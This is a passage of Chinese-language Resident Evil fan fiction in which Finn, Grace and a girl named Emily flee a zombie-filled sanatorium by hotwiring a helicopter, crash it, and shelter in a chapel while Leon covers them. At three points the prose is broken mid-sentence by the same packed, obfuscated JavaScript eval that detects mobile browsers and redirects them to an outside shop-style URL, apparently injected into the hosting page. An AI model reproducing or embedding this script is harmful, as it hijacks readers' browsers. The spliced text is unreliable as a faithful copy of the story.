科学就是科学,对芬来说,搞懂化学方程式要比搞懂眼下究竟发生了什么要容易得多。 说真的,要不是被维克多绑架,她针对“浣熊市幸存者综合征”和T病毒的研究这会儿就算没有重大突破,肯定也已经步入正轨了。但现在开始也不晚。 亡羊补牢,为时未晚。 结束脑力风暴之后,芬又踮着脚尖儿在这片区域兜了几个圈子,本着不放过一砖一瓦的原则仔细搜索了好一阵。然而她始终没再找到第二条能上顶楼去的路,还差点在会议室送掉自己的小命。 那地方离得等候室足够远,因此躲在里面唱歌的那个感染者未曾招来输液哥的怒火,一直苟活到了芬错误地选择路径、走进那个倒霉的会议室的时候。 芬可是一点儿也没想着要战斗,而且也很难说,三发子弹究竟能不能干掉那个看着就中气十足的感染者歌唱家。 只不过她刚转身,那原本幽怨的歌声忽然拔高,刺得她耳鸣头晕了好几秒。趁机摇摇晃晃追上前来的感染者热情挽留,吓得芬连滚带爬地跑回了楼梯间,都来不及把气儿喘匀,就这么跌跌撞撞回到了大厅。 算了,反正也没什么损失——那个会议室也就俩屋,一眼就能看清,应该不会有什么隐藏的楼梯间能通向顶楼。 只可惜,落下两个房间没搜成,万一里面有好东西就错过了。 在之前搜刮的路上,芬幸运地找到了一个腰包,现在里面已经有了相当可观的工具、药品。作为一个工程师,这些东西所带来的满足比枪支、弹药能给她的安全感强得多。不过相比之下,还是命更重要。 芬扶着发软的膝盖,决定东翼搜索到此为止。 不是说她没见过更糟的情形,这个阴森的疗养院也不比当年艾利克斯·威斯克那个用于“私人”研究的海岛基地更可怕。只是,芬已经过了太久安稳日子,早就忘了身处危险是什么滋味——她这些年最受惊吓的时刻,无非是在皮尔斯执行任务期间没能如期收到皮尔斯上级的平安短信,开始胡思乱想。 皮尔斯……唉,他要是知道芬眼下被困在这个到处都是丧尸的鬼地方,铁定要气坏了。 芬擦了擦脸上的汗,平复了一下心情,然后抬头看了看通往西侧的那道门,深深吸了一口气。 还剩下一边得搜,越早开工就越早结束。 她掂了掂手里还剩三发子弹的枪,给自己打了打气,这才推开写着“西翼行政区”的双开红木门,踮着脚尖走进了这条铺着蓝白格子瓷砖的安静走廊。 虽然这里叫“行政区”,但显然已经被感染者们当成了就餐地,几乎找不出几块干净的地方。而且不像东翼到处都充斥着消毒水的味道,多少能盖过令人作呕的臭味,这里的血腥味儿很浓,还有股深度腐烂的味道。 这一路上,她尽量挑着地面干净、灯光明亮的路走,并竖起耳朵仔细聆听。从肮脏的厨房撤退之后,芬还不幸误入了更为肮脏的餐厅,里面的情形让她差点把胃里仅剩的酸水吐在自己的裤子上。 她不晓得之前格蕾丝是怎么在这种地方走动的,但芬不得不从内衣上撕了一块布料下来蒙在了脸上。 就在这时,楼上有枪声隐约传来。芬的心猛地一跳,但又不敢大声喊里昂的名字——万一是坏人就糟了,或者不小心引来还活着的丧尸,那就更糟。 她只能加快脚步寻找上去的楼梯,尽快往楼上赶。 结果,等芬找到上楼的路,枪声也停了。她在一个酒吧休闲室里看到了几具还算“新鲜”的感染者尸体,地上的弹壳显示出开枪的人并非格蕾丝。 芬忍不住压着声音叫了一下里昂的名字,沿着酒吧右手边的长廊跑了几步,地上没有更多弹壳,她担心自己因为太磨蹭已经错过了刚才那个枪手。 “里……”芬在拐弯的时候又小声喊了一次里昂的名字,这大概救了她的小命,因为里昂差点就开枪了。 “老天啊,芬!”里昂垂下持枪手臂,迅速朝芬走过来,“你怎么会在这里?” “我被绑架了。”芬如释重负地拽下脸上蒙的布,她迅速打量了一下里昂,发现他领口处的黑色瘢痕跟上次见面时相比向上蔓延得更厉害了,心又一沉。里昂已经这样了,那艾达…… 该死的病毒和天杀的后遗症。时间,她需要时间。 短暂的寂静中,里昂扬起眉毛,问道:“你也被绑架了?被维克多·基甸?” 芬连连点头,“你能帮我联系到皮尔斯……不对,他还在出任务,你能帮我联系到B.S.A.A.的人吗?” “雪莉,”里昂当即开始联络自己人,“是我,我在疗养院遇到了芬·尼凡斯。我需要你帮我联络B.S.A.A.北美分部的人。是,确实是她。我不知道,我会问清楚的。” 然后他看了一眼正紧咬嘴唇、等候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440252|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下文的芬,说:“雪莉在联系了,现在告诉我,你是怎么被维克多·基甸绑架的?” 于是芬把情况简要地跟里昂讲了一下,如何跟B.S.A.A.合作研究、如何在第一天还没结束就被维克多打了个措手不及,直接被蒙着眼睛、打包绑架到了这里。 “他伤害你了吗?”里昂皱眉问道。 芬想了想,摇摇头,“我知道的情况本来也不多,他问不出什么就把我关起来了。后来停电了我就跑出来了。还遇到了一个FBI,她有你的枪。” “是格蕾丝,”里昂点点头,简短地问:“她人呢?” “呃,”芬挠了挠头,苦着脸解释道,“开门需要一个小女孩儿帮忙,结果她被怪物抓走了,格蕾丝去救她了。在地下。” 里昂听完眉头皱得更紧了,他招手示意芬跟上,然后转身开始往楼下走,“什么样的怪物?” “没看清,但体型特别大,脑袋和手脚都很大。”芬脑海中闪过那匆匆一瞥间看到的可怖形象,咬了咬后槽牙。 “那东西还活着?”里昂叹了口气,“每次都他妈是这样。”他再次联络雪莉,低声说道:“任务暂缓,我得去找那个FBI。” 然后他转头问芬:“地下入口在哪里?” “东边那个警备办公室,地上有个洞,格蕾丝就是从那里跳下去的。”芬心里好奇里昂的任务是什么,怎么会跟雪莉一起合作,但她没问。 浣熊市幸存者已经死了六个,想也知道里昂是为什么而来的。 “艾达呢?”芬选择了问一个更安全的问题。 结果这个问题也算不上安全,里昂脚步一顿,看起来本想装作没听见的,但最后还是回答了:“艾达她有事要办。” “她也在外面跑?”芬感到一阵头疼。自从症状出现之后,她就做过初步诊断,告诫过这俩人必须静养。 里昂对此回答说道:“她有事情需要了结。” “你的新陈代谢越快,病毒扩散越快。”芬还是忍不住说了一句,虽然她非常清楚里昂对此心知肚明。 “我也有事情需要了结。”里昂低声说道,然后他加快脚步带着芬回到了大厅,显然一秒钟都不想耽搁。 芬为了跟上身高腿长的里昂,不得不小跑起来。结果,也不知道是不是她动静太大吵到了安静哥,那家伙竟然拖着输液杆从东翼等候室跑到了大厅来警告他们。 当然警告的话还没说完,安静哥就被里昂毫不留情地几枪打死了。 芬捂着嘴,其实有些想去采集一下血样再去分析一下,但又不是很敢跟里昂提出来——里昂看起来很赶时间,简直恨不得踩着旱冰鞋一路滑过去的样子。 但他们还没来得及进入东区的大门,大门口的电梯间突然传来沉闷的咚咚声,还有回荡在狭小空间内的巨大枪声。 芬吓了一跳,“是格蕾丝!” 里昂已经果断转身,拔脚就朝电梯间冲了过去。格蕾丝在不远处大喊大叫,夹杂着小女孩儿的尖叫,但都比不过怪物发出的嚎叫声以及金属撞击的“梆梆”声。 芬在肾上腺素作用下跑得几乎和里昂一样快了,但他们冲进电梯间的时候,格蕾丝滚在地上抱着腿又哭又叫,只剩缆绳摇晃的空洞电梯井附近全是血,两个人的脑子里闪过的都是:“糟糕,来晚了!” 5. Chapter 5 “格蕾丝?”小女孩儿就跪坐在里格蕾丝不远的地方,她叫了一声,然后朝格蕾丝爬过去,“格蕾丝,你还好吗?” 里昂屏息往旁边走了几步之后先看清了:地上的断肢是明显属于怪物的手,血也不是格蕾丝的,她的胳膊腿都还好端端连在该连的地方。 他长吁了一口气,抬手擦了擦脑门上的冷汗。 “我、我没事,”格蕾丝努力压抑住哭声回答,她颤巍巍从地上坐起来,问小女孩:“你呢?你还好吗?” “嗯。格蕾丝,我把这个保护好了。”小女孩捧着一个六面体朝格蕾丝递过去。 “……谢谢。”劫后余生的格蕾丝还没发现身边多了两个人,她抹着眼泪从小女孩手里接过棱体,然后就被小女孩笨拙地扑进了怀里。 芬不由得感到一阵温暖以及劫后余生的喜悦,也十分想和谁抱一抱,可惜她边上站着的是自己的姐夫。 里昂任由两个人抱着哭了半分钟,然后咳嗽了一声,吓得小女孩浑身一个激灵。 格蕾丝迅速抬起头来,这才看见边上站着的两个人,她也吓得不轻,但还是连忙安慰艾米丽:“别怕,艾米丽,这是芬和里昂,他们是我的朋友,是我的朋友。” 里昂打量了一下那孩子,“这是谁?” “这是艾米丽。”格蕾丝一边说一边吃力地抱着孩子站了起来。 里昂问的不是名字,然而他也不想浪费时间刨根问底,“你们最好尽快离开这里。虽然B.S.A.A.的人很快就能赶到,但在他们接管之前,这里并不安全。” “哦。”格蕾丝应了一声,又小声问道:“什么是……B.S.A.A.?” “一个国际生化反恐组织。”芬回答了这个问题,“这里的感染太严重了,警察根本处理不了。” 格蕾丝瞄了里昂一眼,她还以为D.S.O.的人来就是为了处理这里的“感染”问题的呢。但派一个人来处理这种事的确有些不近人情了,格蕾丝要是在去鹪木旅馆之前就知道会遇上这种事,打死她也不敢一个人来。 虽然她也不擅长和搭档一起行动就是了。 三个大人一个孩子各怀心事地回到大厅,格蕾丝小声问艾米丽愿不愿意和自己一起离开,女孩儿像是折腾了一宿困劲儿上来了,贴着格蕾丝的肩膀轻哼了一声,慢吞吞点了点头。 “是那道门?”里昂指了指二楼带凹槽的门。 格蕾丝连连点头,“我、我、我已经找到开门的东西了。”她想腾出手把立方体掏出来,但又怕摔了孩子,最后只能朝腰包示意了一下。 “那就走吧,我送你们。”里昂并不打算一起离开,他还有任务在身。不过他还是跟着一起上了二楼。 幸好他没扔下这几个姑娘自己上三楼,格蕾丝还没来得及从腰包里把开门的东西拿出来,一楼西侧的大门就被砰的一声撞开了,一个拿着大砍刀的壮汉丧尸摇晃着走了出来。 “又来。”里昂叹了口气抽出枪来,头也不回地对芬和格蕾丝说,“你们先走。离开这里,现在!”然后朝发现目标开始冲锋的壮汉丧尸连连开枪。 “里昂,小心点儿!”芬在跟着格蕾丝从这道门里离开之前朝已经下楼应战的里昂喊了一声。 “我总是很小心!”里昂回答。 然后,她和格蕾丝就来到了疗养院的外面。雨后的新鲜空气像是一剂强心针,让人精神一振。而且这里很安静,听起来完全没有感染者在游荡。 芬虽然担心里昂,但她担心的也主要是里昂的身体,而不是他应付不了突然出现的感染者。隔着门还能听到枪声,芬觉得里昂应对得游刃有余。 可如果他继续这样高强度地战斗下去,病毒会以可怕的速度摧毁他的身体。 他,还有艾达,还有雪莉和克莱尔·雷德菲尔德。 “这里是中庭?后门在哪里呢?竟然没有后门?!”格蕾丝快步走下台阶之后在种满绿植的中央花坛附近转了一圈,“等等,看,那边有个直升机坪。” “真的?”芬又惊又喜,“我会开直升机。” 其实是皮尔斯教过她,在两人度蜜月的时候。不过要是被天上的交警拦下来了,芬可拿不出驾驶证。 格蕾丝也打起了精神,“太好了,我们过去看看。艾米丽,你还好吗?”她说完又拍了拍孩子的后背,因为小女孩儿似乎一直很安静。 “我、我不知道……”小女孩儿喃喃回答。 “再坚持一下,我们马上就能离开了。”格蕾丝说。 芬则放慢脚步,从后面观察着蔫蔫的艾米丽。没有血检不可能得出准确结论,但她也看不出艾米丽有任何明显的感染迹象。除了女孩儿那双大大的眼睛因为白内障所以看起来有些可怖。 “真的有直升机,芬,就在这里了!”格蕾丝喊了一声,穿过打开的铁门小跑到了直升机坪上。 “我的天,好老的古董。”芬跟过去之后不由得瞪大了眼睛,“哇,这是架贝利206吧,这真的能飞吗?我觉得她搞不好比我还老。” 格蕾丝不懂这些也看不出个所以然,她在原地颠了颠脚,把艾米丽放下,不安地问道:“怎、怎、怎么了?”她试着上前拉了拉机舱的门,伴随着“喀拉”声,舱门顺利滑开了。 艾米丽在地上两只手一起揪着格蕾丝的T恤,踉跄了几步之后提高声音说道:“我好累。我可以回我的房间去吗?” “不行,那里不安全。”格蕾丝回头安慰她,“再坚持一下就可以休息了。来,我把你抱上去。”她说着抱起姑娘,喊了声“准备好”,然后踮起脚尖把艾米丽送上了直升机舱内的座椅上。 艾米丽立刻摸索着机舱座椅想要躺下,格蕾丝又跟上去,把她扶起来,“先别睡,我帮你系好安全带。” 女孩儿困得不行,但还是勉强坐稳了。一只小手紧紧拉着格蕾丝的手腕。 格蕾丝回头看了一眼绕到驾驶室的芬,问道:“怎么样,能飞吗?” “没钥匙。”芬的回答让格蕾丝心里一沉,但她又说,“幸好这架直升机够老,我能‘短路点火’。” “真的?”格蕾丝连汽车怎么短路点火都不会,虽然觉得直升机短路点火听起来很离谱,但还是决定相信芬的能力,“那、那你需要我帮忙吗?” “需要。”芬也不管格蕾丝是不是跟自己瞎客气,直接开始发号施令,“你得到前面来,姑娘。等到飞的时候要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440253|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是里昂能出来还好,要是他不跟我们走,你还得坐副驾驶。这直升机得两个人开。” 格蕾丝一颗心七上八下,她跳下后舱室,绕到前面,“可我不会开飞机。” “简单,我教你。”芬自己挪到了副驾驶,“你从这边上来,咱们先把她先启动了再说。” “怎么做?”格蕾丝在主驾驶的座位上如坐针毡,两只手离仪表盘上的各种按钮远远的,生怕自己按到不该按的。 芬倒是没坐在座位上,她在不怎么宽敞的驾驶室里转了个身,在副驾驶的座位下扳开什么开关,格蕾丝听到“咔哒”一声。然后芬抓住座位开始往上抬,看起来使出了吃奶得劲儿,副驾驶的座位往上翻了起来,但到一半又因为芬没了力气而落了回去。 “妈的。”芬骂了一句脏话,然后对后面犯困的艾米丽说了声“对不起”。 格蕾丝已经从副驾驶上探身过来,说:“我帮你。” “往上使劲儿就行,”芬说着撸起袖子再次抓住坐垫,“一、二、三!” 两人齐心协力,这次终于把副驾驶的座位翻了起来,露出下面的电子设备舱。芬灵活地打开快卸锁扣,掀起长方形盖板。 格蕾丝闻到了一股热烘烘的塑料和金属的味道,她打开手电筒往设备舱里照了照,只看到一个银色的金属方块,上面有两条粗粗的线。 这显然就是芬的目标。她转身在仪表盘上把总电门拨开,各种指示灯立刻亮起微弱的光。芬低头看了看设备舱里的启动机继电器,挠了挠头,对格蕾丝说:“看到仪表盘两边这些黑色按钮了吗?都按下去,然后把总距杆下面的红色阀门拧开。” “仪、仪表盘……”格蕾丝战战兢兢地上手了,“都按下去了,但总距杆是哪个?” “这个。”芬指了指格蕾丝左手边,“往下摸一摸,在最下面。” 格蕾丝把头埋下去,用手电筒照了好一会儿确认是红色的才敢转动阀门。 芬等格蕾丝重新直起身子,这才继续说道:“总距杆顶部的这个是油门环。往左拧到底的话就关掉了,往右是打开。” “往左关,往右开。”格蕾丝一边点头一边重复,手指在总距杆的附近轻轻抽搐,她抬头望向芬:“接下来呢?” “接下来就是重头戏了。”芬一边说一边脱下衬衣缠在手上,从包里拿出自己之前搜刮到的一个大号扳手,“一会儿你先把油门关到底,我告诉你‘开’,你再立刻拧回去,明白吗?” “先关到底,你说‘开’再拧回去。”格蕾丝重复了一遍,点点头,“我、我明白了。” “对了。艾米丽!待会儿可能有声音会突然响,‘滋啦’或者‘砰’这样的。”芬又伸长脖子对后座上的小女孩儿说,“到时候别害怕,只是直升机启动的声音。” 艾米丽缓缓点了点头,“好吧。我不害怕。” 芬抓住扳手,在设备舱旁边单膝点地跪下,深吸了一口气,“我准备好了,关油门。” 格蕾丝立刻用冰凉的手指握住油门环往左一直拧,“拧到头了。” “保持住。”芬的声音要冷静得多,她隔着衣服抓住扳手,然后心一横,把扳手横跨在了两个主接线柱上。 6. Chapter 6 “滋啦——!!!” 亮蓝色的电弧当即就窜了起来。扳手几乎是在瞬间就烫得跟烙铁一样,糟糕的温度哪怕隔着衣服都让芬想要直接甩手。 但她没有,就在芬咬牙握紧扳手跨接继电器的这几秒钟里,她们头顶的直升机螺旋桨像是放了个屁一样“噗嗤”响了起来,然后电机开始发出喑哑的咆哮声。 “快,推油门!”芬提高声音喊道。 格蕾丝没时间计较芬眼下喊的话跟她俩之前说好的不一样,她的手腕颤抖得有些使不上劲儿,但终于还是成功把油门环顺时针拧了回去。 几乎是立刻,她们头顶的电机声音就变得平稳了起来,机身有节奏地随之轻颤。 芬如释重负地扔掉发烫的扳手,一边甩手降温一边笑着对格蕾丝大声说道:“成功了。太好了,我们成功了!” 格蕾丝长长吁了口气。 芬吹了吹还有点儿疼的手指头,又在裤子上蹭了蹭,她那件衬衣已经被烧了个洞出来,只能扔掉。芬暗自决定还是先庆幸一下手指头没变成烤肉吧。 眼下螺旋桨刚刚启动,转得并不快。芬回过头看了看仪表盘上正在缓慢爬升的涡轮温度和转速指针,目前仍在暖机阶段,直升机也没到能立即起飞的地步,她趁这个功夫麻利地动手把设备舱和副驾驶座统统复原。 格蕾丝已经自觉地钻回了后面的驾驶座,于是芬坐在了主驾驶上,把门都关好,又将总距杆短暂上提调整功率。确认动力足够之后,她这才回头对格蕾丝笑笑说道:“没问题了,现在我们等里昂就好了。” “好吵啊,格蕾丝。”艾米丽不安地用手捂着耳朵,“是谁在大喊大叫?” “抱歉,那是直升机的声音。”格蕾丝也帮她捂住耳朵,她的手大一些,效果更好,“这样可以了吗?” 艾米丽小声“嗯”了一下。 芬看着这相互依偎的两个人,抬手擦了擦眉毛上的汗,又拍了拍肚子,“接下来的第一项任务,填饱肚子。不知道你们怎么样,但我已经快要饿死了,在疗养院里只能捡饼干吃。”她说着半转身靠在椅背上,问女孩儿,“艾米丽,你想吃什么?” “不知道。”艾米丽没精打采地回答,“我想回房间。” “汉堡包怎么样?”格蕾丝想逗艾米丽开心,女孩儿的状态让她止不住的担忧。 结果艾米丽反问:“什么是汉堡包?” “就是……”格蕾丝压下心中的难过,强笑着回答,“就是面包加生菜、番茄还有肉饼。加好多好多蛋黄酱。” “好呀。”艾米丽脸色一亮,“我喜欢面包,也喜欢肉饼。” 格蕾丝的肚子随即不争气地叫了一声,幸好直升机的噪音够大,除了她自己之外没人听见。 ——上次她吃东西还是昨天中午,而且因为想到要故地重游,格蕾丝午饭只干噎了半个三明治就吃不下去了。 “看来我们下一站要去麦当劳了。”芬在前面打趣,“就是不知道金拱门上有没有我们降落的地方。对了,”她大方地拍拍口袋,“姐妹们,我兜里一分钱都没有。” “我也是。”格蕾丝说,“不过可以用信用卡。” “啊,信用卡。”芬说,“我丈夫一直想让我习惯信用卡,但我还是更喜欢现金。对此他可恼火了。” 她说完叹了口气。也不知道皮尔斯现在究竟在哪儿。但即便是他及时赶来帮B.S.A.A.清理疗养院,他们也多半见不着面。 芬和格蕾丝也不能一直呆在这里,与通向外界的正门还隔着一整座到处都是感染者的疗养院,这个停机坪此时此刻并不安全。 不管里昂在忙啥,他最好快点。 “你呢,格蕾丝?”芬决定转移一下注意力免得因为等待而太焦虑,“结婚了吗?” “没、没有。”格蕾丝慌忙摇头,“我、我是一个人。” 芬看了一眼被格蕾丝护在怀里的女孩儿,“现在你有她了,不是吗?”听了这话,格蕾丝脸上也露出笑容,低声说道:“是啊。” “格蕾丝,”艾米丽摇了摇格蕾丝的手,说,“他们太吵了。” “……‘他们’?”格蕾丝本来想重申一下是螺旋桨在转,但又觉得有些奇怪,艾米丽为什么会说“他们”? 但艾米丽只是难受地摇晃着上半身,说:“我好害怕啊,格蕾丝。” 格蕾丝说:“别怕,我会保护你的,艾米丽。我保证。” “呃……”驾驶座上的芬突然直起了身体,“格蕾丝,我是不是眼花了?你看前面铁栅栏后面是不是有个白影在晃?” “什么?”格蕾丝连忙伸长脖子往外看,但就在这时,直升机坪的整个地面蓦地震动起来,地底深处传来“轰”的一声之后,又紧接着爆发出一连串的“砰砰”声。 格蕾丝吓得一边搂紧尖叫不止的艾米丽,一边连声问道:“怎么回事?怎么回事?地震了吗?” “我需要你到前面来,格蕾丝!”芬已经飞快地操作起来,燃油压力正常、液压正常,她轻蹬脚蹬,机身轻轻摆动起来,差点让正往驾驶室钻的格蕾丝一屁股坐回去。 “天啊、天啊……”格蕾丝终于坐到副驾驶上的时候,两人都已经看清了停机坪外围铁栅栏后晃动的究竟是什么。 那是穿着白色病号服的活死人,而且不止一个。它们也不知道从哪儿冒出来的,也不知道是不是被直升机的声音所吸引的,总之正在成群结队地朝她们这边蜂拥而来。 “快起飞、快起飞!”格蕾丝眼看着跑得快的活死人已经冲到了近前,开始抓着直升机的鼻头往上爬,还有用脑袋撞风挡玻璃的。 “我已经在快了!”芬一边喊一边向上提起总距杆,直升机晃了一下,但周围太多的活死人正在抓着一切能抓住的东西,以至于她们的负重顿时增加。 “快啊!快啊!”格蕾丝在风挡玻璃被撞出蛛网状的裂纹之后终于忍不住大叫起来。 直升机这时终于摇晃着脱离了地面,颤颤巍巍开始升空,因为过于不稳定而不断前摇后摆、左歪右斜,在低空划出一条混乱的轨迹。 此时此刻,起码有七八个活死人仍旧挂在直升机上,包括那个拿脑袋撞风挡玻璃的。 芬一手稳住总距杆保持上升速率,然后克制着恐惧和急迫缓慢前推变距杆好压低机头向前提速。 那个撞头的活死人就在她正前方,风挡玻璃的视野范围被挡得密不透风,芬甚至不知道直升机在朝哪儿开。 “咔嚓”一声,就在直升机提速升空终于甩下去一些活死人之后,风挡玻璃终于不堪重负被撞出了大洞。 芬尖叫了一声,因为那个脸上血肉模糊的活死人正把头伸进机舱,一只手直接按在了变距杆上。 直升机的机头随之一沉,开始盲目往前冲锋,而隔着爬满丧尸的风挡玻璃根本看不出前面有没有障碍物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17440254|201037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>芬连退带搡的同时绝望地朝格蕾丝喊了一声:“快,快把变距杆拉起来!”然后腾出一只手掏出枪来一把塞进了活死人大张的嘴巴里。 格蕾丝哪知道什么是变距杆,但她也没时间问,因为芬已经开枪了。活死人的脑袋虽然起到了一定的缓冲作用,但密闭空间里的枪声并不会因此减弱多少。 在那短暂而又恐怖的片刻之间,所有人的脑袋都在嗡嗡作响,除了那个已经不再有脑袋的。 格蕾丝豁出去了,她握住座位前正中央的那根长长的杆子然后拼命往上拉,机头随即快速扬起。 芬把死人从仪表盘上推开的时候分神吼了一声“慢点儿拉”,但机舱里噪音太大,根本没人听得见她喊了什么。直升机仍在努力升空,但至少不再像刚才一样往前冲,饶是如此,她们撞上障碍物的时候还是震得三人满嘴的牙都差点集体逃之夭夭。 “要坠机了!”芬在绝望之余还能喊出声音,“所有人找地方抓紧!” 然后直升机从障碍物上连剐带蹭地脱离开,顺带清理干净了挡在玻璃上的死尸。在空中跌跌撞撞、斜斜向下飞行了不过几秒钟后,芬便看到了加速朝她们冲过来的那棵大树,她心里只有一个念头:要死了! 至少她抓紧时间踩下了踏板。直升机没能完全避开,但撞上去的时候已经多少偏转的方向。 然后就是撞击,惊天动地的撞击。 起飞还不到60秒,直升机就坠毁了。 芬的脑壳嗡嗡作响,但竟然没晕过去。格蕾丝也努力保持了清醒,她捂着脑袋看了一眼还全须全影的芬,然后回头叫了一声:“艾米丽……艾米丽!” 艾米丽仍靠在后座上,因为安全带拉住了她的身体。但一大片血迹正在她腹部迅速晕染开,机舱内除了滚滚浓烟中夹杂的刺鼻气味之外,还有浓郁的血腥味。 “下去。”芬哑声说,她努力抬手解开安全带,催促道:“赶紧下去,小心爆炸。” 她那边的舱门变形很严重,但芬使劲推了几把,又踹了几脚,终于把门踹开了。她听到了格蕾丝跳下飞机的动静,紧跟着格蕾丝又拉开了后舱的门。 芬稍稍放下心来,之前她拿来打感染者的枪就掉在脚下,刚才坠机的时候竟然奇迹般没有走火把她的手轰掉半个。不过芬捡起枪的时候还是检查了一下十根手指,虽然掌心不知道什么时候剌了个大口子,但指头都在,她悄悄松了口气。 她跳出已经开始着火的直升机,在机头处和打横抱着艾米丽的格蕾丝汇合,三人跌跌撞撞朝远处走了几步,离开危险范围。 “格蕾丝,让我看看。”芬不是科班出身的正经医生,但专业知识和实操经验绝对过硬。她把枪别到裤腰后面,上前快速检查,但不管是什么扎伤了小女孩,那东西都已经整个儿进去了,艾米丽的背后没有伤口,这说明异物很可能仍在体内。 妈的,正好是最糟糕的情况。 芬用包里的小剪刀把艾米丽的衣服剪开一个口子,两指宽的伤口处,暗红色的血正一股一股涌出来。 “怎、怎么样?”格蕾丝尽量让自己抱着艾米丽的胳膊不要发抖,“她怎么样?” “只能先止血。”芬从包里取出之前搜刮的纱布,“你在托着她的膝盖,对吧?记住让她保持屈膝,放松腹部。” 然后她把纱布一层一层盖在了伤口上,用力按住,一边拼命祈祷:千万别有内出血、千万别有内出血。 7. Chapter 7 那架直升机轰轰烈烈坠毁的时候,里昂正在疗养院三楼那间维克多的私人办公室里远程连线雪莉·柏金,设法黑进电脑里窃取机密。 正当他在那篇关于“厄尔庇斯”病毒的文档里冷不丁发现了一张格蕾丝的照片时,外面传来的巨大声响立即吸引了里昂的注意力:直升机提速后螺旋桨搅动气流的声音,以及引擎失控的轰鸣。 里昂迅速从墙角一把抓起那杆不知是谁放在这里的半自动狙击步枪。下意识和这个宝贝儿打招呼的时候,他脑海里冷不丁闪过几年前在海岛上的时候,芬和皮尔斯那段有关“枪都是女孩儿”的讨论。 这么多年过去,当初那个古怪又天真的肖医生已经成了他半个亲人,但芬这门搅和进危险事件里的手艺还是一样的令人震惊。 透过高倍镜,里昂看到浓烟和火光,以及从直升机残骸里勉强逃出生天的芬、格蕾丝,以及被格蕾丝抱在怀里的小女孩艾米丽。 他还看到了正从四面八方包围过来的丧尸。要不是没有通讯器、距离又太远,他真想喊一嗓子提醒一下那两个对自己危险处境毫无知觉的姑娘。 但开枪也有同样的效果。里昂先撂倒了离她们最近的丧尸,果然芬和格蕾丝都吓了一跳,然后看清了残酷的现实——直升机甚至都没有飞出疗养院的范围。 “这姑娘还真是麻烦缠身。”里昂喃喃自语,将枪口对准下一个感染者。 芬和格蕾丝已经开始朝着前方不远处的小教堂前进,里昂则有条不紊地把拦她们路的丧尸一一放倒。爆炸和火光吸引了不少活死人前来,也不知道是生前爱看热闹的习惯残留,还是单纯闻到了血和火的味道因此受到了刺激。 里昂对病毒背后的理论不感兴趣,他只希望这些东西能从地球表面彻底消失,但显然人类的贪欲是没有止境的。 维克多·基甸只不过是个疯子科学家而已,他背后要是没有足够的资金和人脉支持,怎么可能在美国境内搞出这么一个堂而皇之拿活人做实验的鬼地方。里昂要是不把背后的这些王八蛋一个个揪出来,他就对不起当年因为保护伞公司而死在浣熊市的那么多受害者。 “咔”的一声,最后一发子弹出膛后空仓挂机了。里昂迅速装填子弹,一边还要留神下面两人。 小教堂的门似乎被堵住了,芬正在努力撞门。他隐约能听到规律的“砰砰”声。不过小教堂两侧花园草丛里正有更多感染者朝她们逼近,两手拼命向前伸出,仿佛渴望拥抱一般。 里昂重新端起填满子弹的枪,开始快速点射,清扫离女孩们太近的丧尸。 而正在撞门的芬也终于将不知道被什么堵住的木门撞开了一条缝,她用力推了几次,最后又狠狠踹了一脚,缝隙终于扩大了一些。 格蕾丝因为抱着艾米丽只能站在旁边——芬警告过她务必不要颠着艾米丽,避免加重伤情。“芬,你需要帮忙吗?”她还是忍不住问了一句。 “我可以。”芬说着把胳膊从缝里伸进去,推着拦路的那张椅子使劲往后,然后撤出来又用力撞了一次门。 不时响起的枪声很稳定,芬觉得肯定是里昂在某个地方帮她们,不过她没有皮尔斯那份迅速定位狙击手的能力。 希望他别离太远,还能来跟她们在小教堂汇合。 芬这样想着,最后一次用力推门,因为障碍物已经被推开,这一次门终于被成功推开。 “快,赶紧进去。”她侧身让格蕾丝抱着女孩儿先进去,然后迅速跟上。关门前她还看了看那条通往起火直升机的路,以及满地的尸体,最后还是把门虚掩上了。 真要是有感染者想冲进来,锁门也拦不住它们。里昂,你可要快点啊。 “芬!”格蕾丝在身后喊她,声音充满惊慌,“艾米丽昏过去了!” “来了。”芬心里一沉,转身朝格蕾丝跑了过去。 格蕾丝已经把艾米丽平放到了地板上,她还记的芬的嘱咐,正把艾米丽的膝盖抬高。 “我、我、我止不住她的血。”格蕾丝一只手扶住艾米丽屈起的膝盖,另一只手按着她腹部已经被染红的纱布。 “别慌,你先数一下她的脉搏。”芬说着替格蕾丝按住伤口,艾米丽腹部右下侧硬硬的触感让她再次心里一沉——大概率是内出血。 “她的脉搏好快。”格蕾丝的报告同样带着不祥的意味,“摸起来很弱。” 